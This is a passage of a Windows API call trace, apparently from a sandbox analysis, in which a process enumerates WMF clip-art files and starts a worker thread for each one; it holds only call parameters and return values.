	[0236.529] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1
	[0236.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c5c
	[0236.532] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.532] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1
	[0236.534] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c60
	[0236.537] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.538] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1
	[0236.538] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c64
	[0236.541] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.542] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1
	[0236.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c68
	[0236.544] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.545] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1
	[0236.545] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c6c
	[0236.616] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.616] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1
	[0236.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c70
	[0236.619] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.619] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1
	[0236.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c74
	[0236.622] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.622] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1
	[0236.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c78
	[0236.625] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.626] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1
	[0236.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c7c
	[0236.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.629] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1
	[0236.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c80
	[0236.632] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.632] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1
	[0236.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c84
	[0236.635] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.636] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1
	[0236.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c88
	[0236.639] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.640] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1
	[0236.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8c
	[0236.642] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.642] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1
	[0236.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c90
	[0236.644] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.645] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1
	[0236.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c94
	[0236.648] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.648] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1
	[0236.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c98
	[0236.793] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.794] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1
	[0236.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c9c
	[0236.797] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.797] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1
	[0236.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca0
	[0236.800] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.800] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1
	[0236.800] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca4
	[0236.803] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.804] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1
	[0236.804] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca8
	[0236.807] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.808] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1
	[0236.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cac
	[0236.810] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.810] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1
	[0236.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb0
	[0236.813] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.814] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1
	[0236.814] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb4
	[0236.816] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.817] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1
	[0236.817] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb8
	[0236.819] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.820] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1
	[0236.820] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cbc
	[0236.823] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.823] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1
	[0236.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc0
	[0237.133] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.134] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1
	[0237.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc4
	[0237.137] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
